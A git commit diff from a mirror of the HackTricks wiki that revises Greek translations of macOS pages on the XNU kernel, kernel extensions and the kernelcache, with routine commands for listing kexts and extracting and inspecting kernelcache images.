mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
77d294a68a
commit
ab59ef602e
5 changed files with 456 additions and 311 deletions
|
@ -1,128 +1,97 @@
|
|||
# macOS Πυρήνας & Επεκτάσεις Συστήματος
|
||||
# macOS Kernel & System Extensions
|
||||
|
||||
{% hint style="success" %}
|
||||
Μάθε & εξάσκησε το AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθε & εξάσκησε το GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Υποστήριξε το HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
|
||||
* **Συμμετέχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Πυρήνας XNU
|
||||
## XNU Kernel
|
||||
|
||||
Ο **πυρήνας του macOS είναι ο XNU**, που σημαίνει "X is Not Unix". Αυτός ο πυρήνας αποτελείται θεμελιωδώς από τον **μικροπυρήνα Mach** (που θα συζητηθεί αργότερα), **και** στοιχεία από τη Διανομή Λογισμικού του Πανεπιστημίου του Μπέρκλεϊ (**BSD**). Ο XNU παρέχει επίσης μια πλατφόρμα για **οδηγούς πυρήνα μέσω ενός συστήματος που ονομάζεται I/O Kit**. Ο πυρήνας XNU είναι μέρος του έργου ανοικτού κώδικα Darwin, που σημαίνει ότι **ο κώδικας του είναι ελεύθερα προσβάσιμος**.
|
||||
Ο **πυρήνας του macOS είναι ο XNU**, που σημαίνει "X is Not Unix". Αυτός ο πυρήνας αποτελείται θεμελιωδώς από τον **Mach microkernel** (θα συζητηθεί αργότερα), **και** στοιχεία από την Berkeley Software Distribution (**BSD**). Ο XNU παρέχει επίσης μια πλατφόρμα για **drivers πυρήνα μέσω ενός συστήματος που ονομάζεται I/O Kit**. Ο πυρήνας XNU είναι μέρος του ανοιχτού κώδικα έργου Darwin, που σημαίνει ότι **ο πηγαίος κώδικας του είναι ελεύθερα προσβάσιμος**.
|
||||
|
||||
Από την άποψη ενός ερευνητή ασφάλειας ή ενός προγραμματιστή Unix, το **macOS** μπορεί να φανεί αρκετά **παρόμοιο** με ένα σύστημα **FreeBSD** με μια κομψή γραφική διεπαφή και μια σειρά προσαρμοσμένων εφαρμογών. Οι περισσότερες εφαρμογές που αναπτύσσονται για το BSD θα μεταγλωττιστούν και θα εκτελεστούν στο macOS χωρίς την ανάγκη τροποποιήσεων, καθώς τα εργαλεία γραμμής εντολών που είναι γνωστά στους χρήστες Unix είναι όλα παρόντα στο macOS. Ωστόσο, επειδή ο πυρήνας XNU ενσωματώνει το Mach, υπάρχουν ορισμένες σημαντικές διαφορές μεταξύ ενός παραδοσιακού συστήματος παρόμοιου με Unix και του macOS, και αυτές οι διαφορές μπορεί να προκαλέσουν προβλήματα ή να παρέχουν μοναδικά πλεονεκτήματα.
|
||||
Από την προοπτική ενός ερευνητή ασφαλείας ή ενός προγραμματιστή Unix, το **macOS** μπορεί να φαίνεται αρκετά **παρόμοιο** με ένα σύστημα **FreeBSD** με μια κομψή GUI και μια σειρά από προσαρμοσμένες εφαρμογές. Οι περισσότερες εφαρμογές που αναπτύσσονται για BSD θα μεταγλωττιστούν και θα εκτελούνται στο macOS χωρίς να χρειάζονται τροποποιήσεις, καθώς τα εργαλεία γραμμής εντολών που είναι οικεία στους χρήστες Unix είναι όλα παρόντα στο macOS. Ωστόσο, επειδή ο πυρήνας XNU ενσωματώνει τον Mach, υπάρχουν κάποιες σημαντικές διαφορές μεταξύ ενός παραδοσιακού συστήματος τύπου Unix και του macOS, και αυτές οι διαφορές μπορεί να προκαλέσουν πιθανά προβλήματα ή να προσφέρουν μοναδικά πλεονεκτήματα.
|
||||
|
||||
Πηγαίος κώδικας του XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
|
||||
Ανοιχτός κώδικας έκδοση του XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
|
||||
|
||||
### Mach
|
||||
|
||||
Το Mach είναι ένας **μικροπυρήνας** σχεδιασμένος να είναι **συμβατός με το UNIX**. Ένας από τα βασικά αρχέτυπα σχεδιασμού του ήταν να **ελαχιστοποιήσει** το ποσοστό του **κώδικα** που εκτελείται στον **χώρο του πυρήνα** και αντ' αυτού να επιτρέψει σε πολλές τυπικές λειτουργίες πυρήνα, όπως σύστημα αρχείων, δικτύωση και I/O, να **εκτελούνται ως εργασίες σε επίπεδο χρήστη**.
|
||||
Ο Mach είναι ένας **microkernel** σχεδιασμένος να είναι **συμβατός με UNIX**. ΈPrinciple του σχεδιασμού του ήταν να **ελαχιστοποιήσει** την ποσότητα του **κώδικα** που εκτελείται στον **χώρο πυρήνα** και αντ' αυτού να επιτρέπει πολλές τυπικές λειτουργίες του πυρήνα, όπως το σύστημα αρχείων, το δίκτυο και το I/O, να **εκτελούνται ως εργασίες επιπέδου χρήστη**.
|
||||
|
||||
Στο XNU, το Mach είναι **υπεύθυνο για πολλές από τις κρίσιμες λειτουργίες χαμηλού επιπέδου** που ένας πυρήνας χειρίζεται τυπικά, όπως προγραμματισμός επεξεργαστή, πολλαπλές εργασίες και διαχείριση εικονικής μνήμης.
|
||||
Στον XNU, ο Mach είναι **υπεύθυνος για πολλές από τις κρίσιμες χαμηλού επιπέδου λειτουργίες** που συνήθως χειρίζεται ένας πυρήνας, όπως ο προγραμματισμός επεξεργαστή, η πολυδιεργασία και η διαχείριση εικονικής μνήμης.
|
||||
|
||||
### BSD
|
||||
|
||||
Ο πυρήνας XNU επίσης **ενσωματώνει** μια σημαντική ποσότητα κώδικα που προέρχεται από το έργο **FreeBSD**. Αυτός ο κώδικας **εκτελείται ως μέρος του πυρήνα μαζί με το Mach**, στον ίδιο χώρο διεύθυνσης. Ωστόσο, ο κώδικας του FreeBSD μέσα στο XNU μπορεί να διαφέρει σημαντικά από τον αρχικό κώδικα του FreeBSD επειδή απαιτήθηκαν τροποποιήσεις για να εξασφαλιστεί η συμβατότητά του με το Mach. Το FreeBSD συμβάλλει σε πολλές λειτουργίες πυρήνα, συμπεριλαμβανομένων:
|
||||
Ο πυρήνας XNU **ενσωματώνει** επίσης μια σημαντική ποσότητα κώδικα που προέρχεται από το έργο **FreeBSD**. Αυτός ο κώδικας **εκτελείται ως μέρος του πυρήνα μαζί με τον Mach**, στον ίδιο χώρο διευθύνσεων. Ωστόσο, ο κώδικας FreeBSD μέσα στον XNU μπορεί να διαφέρει σημαντικά από τον αρχικό κώδικα FreeBSD επειδή απαιτούνταν τροποποιήσεις για να διασφαλιστεί η συμβατότητά του με τον Mach. Το FreeBSD συμβάλλει σε πολλές λειτουργίες του πυρήνα, συμπεριλαμβανομένων:
|
||||
|
||||
* Διαχείριση διεργασιών
|
||||
* Χειρισμός σημάτων
|
||||
* Διαχείριση σημάτων
|
||||
* Βασικοί μηχανισμοί ασφαλείας, συμπεριλαμβανομένης της διαχείρισης χρηστών και ομάδων
|
||||
* Δομή κλήσης συστήματος
|
||||
* Υποδομή κλήσεων συστήματος
|
||||
* Στοίβα TCP/IP και sockets
|
||||
* Τείχος προστασίας και φιλτράρισμα πακέτων
|
||||
* Firewall και φιλτράρισμα πακέτων
|
||||
|
||||
Η κατανόηση της αλληλεπίδρασης μεταξύ BSD και Mach μπορεί να είναι πολύπλοκη, λόγω των διαφορετικών θεωρητικών πλαισίων τους. Για παράδειγμα, το BSD χρησιμοποιεί διεργασίες ως τη βασική μονάδα εκτέλεσης του, ενώ το Mach λειτουργεί με βάση τις νήματα. Αυτή η αντίφαση συμβιβάζεται στο XNU με το **συσχετισμό κάθε διεργασίας BSD με μια εργασία Mach** που περιέχει ακριβώς ένα νήμα Mach. Όταν χρησιμοποιείται η κλήση συστήματος fork() του BSD, ο κώδικας του BSD μέσα στον πυρήνα χρησιμοποιεί λειτουργίες Mach για να δημιουργήσει μια εργασία και μια δομή νήματος.
|
||||
Η κατανόηση της αλληλεπίδρασης μεταξύ BSD και Mach μπορεί να είναι περίπλοκη, λόγω των διαφορετικών εννοιολογικών πλαισίων τους. Για παράδειγμα, το BSD χρησιμοποιεί διεργασίες ως τη θεμελιώδη μονάδα εκτέλεσης του, ενώ ο Mach λειτουργεί με βάση τα νήματα. Αυτή η διαφορά συμφιλιώνεται στον XNU με την **συσχέτιση κάθε διεργασίας BSD με μια εργασία Mach** που περιέχει ακριβώς ένα νήμα Mach. Όταν χρησιμοποιείται η κλήση συστήματος fork() του BSD, ο κώδικας BSD μέσα στον πυρήνα χρησιμοποιεί τις λειτουργίες Mach για να δημιουργήσει μια εργασία και μια δομή νήματος.
|
||||
|
||||
Επιπλέον, **ο Mach και το BSD διατηρούν διαφορετικά μοντέλα ασφαλείας**: το μοντέλο ασφαλείας του Mach βασίζεται σε **δικαιώματα θύρας**, ενώ το μοντέλο ασφαλείας του BSD λειτουργεί βάσει της **ιδιοκτησίας διεργασίας**. Οι αντιφάσεις μεταξύ αυτών των δύο μοντέλων έχουν προκαλέσει περιστασιακά ευπάθειες εκτίναξης προνομίων σε τοπικό επίπεδο. Εκτός από τις τυπικές κλήσεις συστήματος, υπάρχουν επίσης **παγίδες Mach που επιτρέπουν σε προγράμματα χώρου χρήστη να αλληλεπιδρούν με τον πυρήνα**. Αυτά τα διαφορετικά στοιχεία σχηματίζουν μαζί την πολυδιάστατη, υβριδική αρχιτεκτονική του πυρήνα macOS.
|
||||
Επιπλέον, **ο Mach και το BSD διατηρούν διαφορετικά μοντέλα ασφαλείας**: το μοντέλο ασφαλείας του **Mach** βασίζεται στα **δικαιώματα θυρών**, ενώ το μοντέλο ασφαλείας του BSD λειτουργεί με βάση την **ιδιοκτησία διεργασιών**. Οι διαφορές μεταξύ αυτών των δύο μοντέλων έχουν κατά καιρούς οδηγήσει σε τοπικές ευπάθειες ανύψωσης προνομίων. Εκτός από τις τυπικές κλήσεις συστήματος, υπάρχουν επίσης **παγίδες Mach που επιτρέπουν στα προγράμματα χώρου χρήστη να αλληλεπιδρούν με τον πυρήνα**. Αυτά τα διαφορετικά στοιχεία μαζί σχηματίζουν την πολύπλευρη, υβριδική αρχιτεκτονική του πυρήνα macOS.
|
||||
|
||||
### I/O Kit - Οδηγοί
|
||||
### I/O Kit - Drivers
|
||||
|
||||
Το I/O Kit είναι ένα πλαίσιο **οδηγών συσκευών** ανοικτού κώδικα στον πυρήνα XNU, χειρίζεται **δυναμικά φορτωμένους οδηγούς συσκευών**. Επιτρέπει την προσθήκη μοντουλαρισμένου κώδικα στον πυρήνα κατά τη διάρκεια της λειτουργίας, υποστηρίζοντας ποικίλες υλικολογικές συσκευές.
|
||||
Το I/O Kit είναι ένα ανοιχτού κώδικα, αντικειμενοστραφές **πλαίσιο οδηγών συσκευών** στον πυρήνα XNU, που χειρίζεται **δυναμικά φορτωμένους οδηγούς συσκευών**. Επιτρέπει την προσθήκη αρθρωτού κώδικα στον πυρήνα εν κινήσει, υποστηρίζοντας ποικιλία υλικού.
|
||||
|
||||
{% content-ref url="macos-iokit.md" %}
|
||||
[macos-iokit.md](macos-iokit.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### IPC - Επικοινωνία Μεταξύ Διεργασιών
|
||||
### IPC - Inter Process Communication
|
||||
|
||||
{% content-ref url="../macos-proces-abuse/macos-ipc-inter-process-communication/" %}
|
||||
[macos-ipc-inter-process-communication](../macos-proces-abuse/macos-ipc-inter-process-communication/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Kernelcache
|
||||
## macOS Kernel Extensions
|
||||
|
||||
Το **kernelcache** είναι μια **προ-μεταγλωττισμένη και προ-συνδεδεμένη έκδοση του πυρήνα XNU**, μαζί με τους απαραίτητους οδηγούς συσκευών και επεκτάσεις πυρήνα. Αποθηκεύεται σε μορφή **συμπιεσμένη** και αποσυμπιέ
|
||||
```bash
|
||||
# pyimg4 (https://github.com/m1stadev/PyIMG4)
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
Το macOS είναι **πολύ περιοριστικό για τη φόρτωση επεκτάσεων πυρήνα** (.kext) λόγω των υψηλών προνομίων με τα οποία θα εκτελείται ο κώδικας. Στην πραγματικότητα, από προεπιλογή είναι σχεδόν αδύνατο (εκτός αν βρεθεί μια παράκαμψη).
|
||||
|
||||
# img4tool (https://github.com/tihmstar/img4tool
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
#### Σύμβολα Kernelcache
|
||||
|
||||
Κάποιες φορές η Apple κυκλοφορεί το **kernelcache** με **σύμβολα**. Μπορείτε να κατεβάσετε μερικά firmwares με σύμβολα ακολουθώντας τους συνδέσμους στο [https://theapplewiki.com](https://theapplewiki.com/).
|
||||
|
||||
### IPSW
|
||||
|
||||
Αυτά είναι τα Apple **firmwares** που μπορείτε να κατεβάσετε από το [**https://ipsw.me/**](https://ipsw.me/). Μεταξύ άλλων αρχείων περιέχει το **kernelcache**.\
|
||||
Για να **εξάγετε** τα αρχεία, απλά μπορείτε να το **αποσυμπιέσετε**.
|
||||
|
||||
Μετά την εξαγωγή του firmware θα λάβετε ένα αρχείο όπως: **`kernelcache.release.iphone14`**. Είναι σε μορφή **IMG4**, μπορείτε να εξάγετε τις ενδιαφέρουσες πληροφορίες με:
|
||||
|
||||
* [**pyimg4**](https://github.com/m1stadev/PyIMG4)
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
* [**img4tool**](https://github.com/tihmstar/img4tool)
|
||||
```bash
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
Μπορείτε να ελέγξετε τα σύμβολα που εξήχθησαν από τον πυρήνα με: **`nm -a kernelcache.release.iphone14.e | wc -l`**
|
||||
|
||||
Με αυτό τώρα μπορούμε να **εξάγουμε όλες τις επεκτάσεις** ή τη **μία που σας ενδιαφέρει:**
|
||||
```bash
|
||||
# List all extensions
|
||||
kextex -l kernelcache.release.iphone14.e
|
||||
## Extract com.apple.security.sandbox
|
||||
kextex -e com.apple.security.sandbox kernelcache.release.iphone14.e
|
||||
|
||||
# Extract all
|
||||
kextex_all kernelcache.release.iphone14.e
|
||||
|
||||
# Check the extension for symbols
|
||||
nm -a binaries/com.apple.security.sandbox | wc -l
|
||||
```
|
||||
## macOS Επεκτάσεις Πυρήνα
|
||||
|
||||
Το macOS είναι **υπερβολικά περιοριστικό στο να φορτώσει Επεκτάσεις Πυρήνα** (.kext) λόγω των υψηλών προνομίων που θα εκτελεί ο κώδικας. Πραγματικά, από προεπιλογή είναι σχεδόν αδύνατο (εκτός αν βρεθεί κάποιος τρόπος παράκαμψης).
|
||||
Στην επόμενη σελίδα μπορείτε επίσης να δείτε πώς να ανακτήσετε το `.kext` που φορτώνει το macOS μέσα στο **kernelcache**:
|
||||
|
||||
{% content-ref url="macos-kernel-extensions.md" %}
|
||||
[macos-kernel-extensions.md](macos-kernel-extensions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Επεκτάσεις Συστήματος macOS
|
||||
### macOS System Extensions
|
||||
|
||||
Αντί να χρησιμοποιεί Επεκτάσεις Πυρήνα, το macOS δημιούργησε τις Επεκτάσεις Συστήματος, οι οποίες προσφέρουν APIs σε επίπεδο χρήστη για αλληλεπίδραση με τον πυρήνα. Με αυτόν τον τρόπο, οι προγραμματιστές μπορούν να αποφύγουν τη χρήση επεκτάσεων πυρήνα.
|
||||
Αντί να χρησιμοποιεί επεκτάσεις πυρήνα, το macOS δημιούργησε τις επεκτάσεις συστήματος, οι οποίες προσφέρουν APIs επιπέδου χρήστη για αλληλεπίδραση με τον πυρήνα. Με αυτόν τον τρόπο, οι προγραμματιστές μπορούν να αποφύγουν τη χρήση επεκτάσεων πυρήνα.
|
||||
|
||||
{% content-ref url="macos-system-extensions.md" %}
|
||||
[macos-system-extensions.md](macos-system-extensions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Αναφορές
|
||||
## References
|
||||
|
||||
* [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
|
||||
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# macOS Kernel Extensions
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -37,7 +37,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
Στο Catalina ήταν έτσι: Είναι ενδιαφέρον να σημειωθεί ότι η **διαδικασία επαλήθευσης** συμβαίνει σε **userland**. Ωστόσο, μόνο οι εφαρμογές με την **χορήγηση `com.apple.private.security.kext-management`** μπορούν να **ζητήσουν από τον πυρήνα να φορτώσει μια επέκταση**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
||||
|
||||
1. **`kextutil`** cli **ξεκινά** τη διαδικασία **επικύρωσης** για τη φόρτωση μιας επέκτασης
|
||||
1. **`kextutil`** cli **ξεκινά** τη **διαδικασία επαλήθευσης** για τη φόρτωση μιας επέκτασης
|
||||
* Θα επικοινωνήσει με **`kextd`** στέλνοντας χρησιμοποιώντας μια **υπηρεσία Mach**.
|
||||
2. **`kextd`** θα ελέγξει διάφορα πράγματα, όπως την **υπογραφή**
|
||||
* Θα επικοινωνήσει με **`syspolicyd`** για να **ελέγξει** αν η επέκταση μπορεί να **φορτωθεί**.
|
||||
|
@ -47,14 +47,111 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
Αν **`kextd`** δεν είναι διαθέσιμο, **`kextutil`** μπορεί να εκτελέσει τους ίδιους ελέγχους.
|
||||
|
||||
## Referencias
|
||||
### Enumeration (loaded kexts)
|
||||
```bash
|
||||
# Get loaded kernel extensions
|
||||
kextstat
|
||||
|
||||
# Get dependencies of the kext number 22
|
||||
kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
|
||||
```
|
||||
## Kernelcache
|
||||
|
||||
{% hint style="danger" %}
|
||||
Αν και οι επεκτάσεις πυρήνα αναμένονται να βρίσκονται στο `/System/Library/Extensions/`, αν πάτε σε αυτόν τον φάκελο **δεν θα βρείτε κανένα δυαδικό αρχείο**. Αυτό οφείλεται στο **kernelcache** και για να αναστρέψετε ένα `.kext` πρέπει να βρείτε έναν τρόπο να το αποκτήσετε.
|
||||
{% endhint %}
|
||||
|
||||
Το **kernelcache** είναι μια **προ-συγκεντρωμένη και προ-συνδεδεμένη έκδοση του πυρήνα XNU**, μαζί με βασικούς **οδηγούς** και **επικεφαλίδες πυρήνα**. Αποθηκεύεται σε **συμπιεσμένη** μορφή και αποσυμπιέζεται στη μνήμη κατά τη διαδικασία εκκίνησης. Το kernelcache διευκολύνει έναν **ταχύτερο χρόνο εκκίνησης** έχοντας μια έτοιμη προς εκτέλεση έκδοση του πυρήνα και κρίσιμων οδηγών διαθέσιμων, μειώνοντας τον χρόνο και τους πόρους που θα δαπανώνταν διαφορετικά για τη δυναμική φόρτωση και σύνδεση αυτών των στοιχείων κατά την εκκίνηση.
|
||||
|
||||
### Τοπικό Kerlnelcache
|
||||
|
||||
Στο iOS βρίσκεται στο **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** στο macOS μπορείτε να το βρείτε με: **`find / -name "kernelcache" 2>/dev/null`** \
|
||||
Στην περίπτωσή μου στο macOS το βρήκα στο:
|
||||
|
||||
* `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache`
|
||||
|
||||
#### IMG4
|
||||
|
||||
Η μορφή αρχείου IMG4 είναι μια μορφή κοντέινερ που χρησιμοποιείται από την Apple στα iOS και macOS συσκευές για την ασφαλή **αποθήκευση και επαλήθευση των στοιχείων υλικολογισμικού** (όπως το **kernelcache**). Η μορφή IMG4 περιλαμβάνει μια κεφαλίδα και αρκετές ετικέτες που περι encapsulate διάφορα κομμάτια δεδομένων, συμπεριλαμβανομένου του πραγματικού φορτίου (όπως ένας πυρήνας ή bootloader), μια υπογραφή και ένα σύνολο ιδιοτήτων manifest. Η μορφή υποστηρίζει κρυπτογραφική επαλήθευση, επιτρέποντας στη συσκευή να επιβεβαιώσει την αυθεντικότητα και την ακεραιότητα του στοιχείου υλικολογισμικού πριν το εκτελέσει.
|
||||
|
||||
Συνήθως αποτελείται από τα εξής στοιχεία:
|
||||
|
||||
* **Payload (IM4P)**:
|
||||
* Συχνά συμπιεσμένο (LZFSE4, LZSS, …)
|
||||
* Προαιρετικά κρυπτογραφημένο
|
||||
* **Manifest (IM4M)**:
|
||||
* Περιέχει Υπογραφή
|
||||
* Πρόσθετο λεξικό Κλειδιού/Τιμής
|
||||
* **Restore Info (IM4R)**:
|
||||
* Γνωστό και ως APNonce
|
||||
* Αποτρέπει την επανάληψη ορισμένων ενημερώσεων
|
||||
* ΠΡΟΑΙΡΕΤΙΚΟ: Συνήθως αυτό δεν βρίσκεται
|
||||
|
||||
Αποσυμπιέστε το Kernelcache:
|
||||
```bash
|
||||
# img4tool (https://github.com/tihmstar/img4tool
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
|
||||
# pyimg4 (https://github.com/m1stadev/PyIMG4)
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
### Download 
|
||||
|
||||
* [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases)
|
||||
|
||||
Στο [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) είναι δυνατή η εύρεση όλων των πακέτων αποσφαλμάτωσης πυρήνα. Μπορείτε να το κατεβάσετε, να το τοποθετήσετε, να το ανοίξετε με το εργαλείο [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html), να αποκτήσετε πρόσβαση στον φάκελο **`.kext`** και **να το εξαγάγετε**.
|
||||
|
||||
Ελέγξτε το για σύμβολα με:
|
||||
```bash
|
||||
nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l
|
||||
```
|
||||
* [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/)
|
||||
|
||||
Κάποιες φορές η Apple κυκλοφορεί **kernelcache** με **symbols**. Μπορείτε να κατεβάσετε κάποιες εκδόσεις λογισμικού με symbols ακολουθώντας τους συνδέσμους σε αυτές τις σελίδες. Οι εκδόσεις λογισμικού θα περιέχουν το **kernelcache** μεταξύ άλλων αρχείων.
|
||||
|
||||
Για να **extract** τα αρχεία, ξεκινήστε αλλάζοντας την επέκταση από `.ipsw` σε `.zip` και **unzip** το.
|
||||
|
||||
Αφού εξαγάγετε την έκδοση λογισμικού, θα λάβετε ένα αρχείο όπως: **`kernelcache.release.iphone14`**. Είναι σε μορφή **IMG4**, μπορείτε να εξαγάγετε τις ενδιαφέρουσες πληροφορίες με:
|
||||
|
||||
[**pyimg4**](https://github.com/m1stadev/PyIMG4)**:**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
[**img4tool**](https://github.com/tihmstar/img4tool)**:**
|
||||
```bash
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
### Inspecting kernelcache
|
||||
|
||||
Ελέγξτε αν το kernelcache έχει σύμβολα με
|
||||
```bash
|
||||
nm -a kernelcache.release.iphone14.e | wc -l
|
||||
```
|
||||
Με αυτό μπορούμε τώρα **να εξάγουμε όλες τις επεκτάσεις** ή την **μία που σας ενδιαφέρει:**
|
||||
```bash
|
||||
# List all extensions
|
||||
kextex -l kernelcache.release.iphone14.e
|
||||
## Extract com.apple.security.sandbox
|
||||
kextex -e com.apple.security.sandbox kernelcache.release.iphone14.e
|
||||
|
||||
# Extract all
|
||||
kextex_all kernelcache.release.iphone14.e
|
||||
|
||||
# Check the extension for symbols
|
||||
nm -a binaries/com.apple.security.sandbox | wc -l
|
||||
```
|
||||
## Αναφορές
|
||||
|
||||
* [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
|
||||
* [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
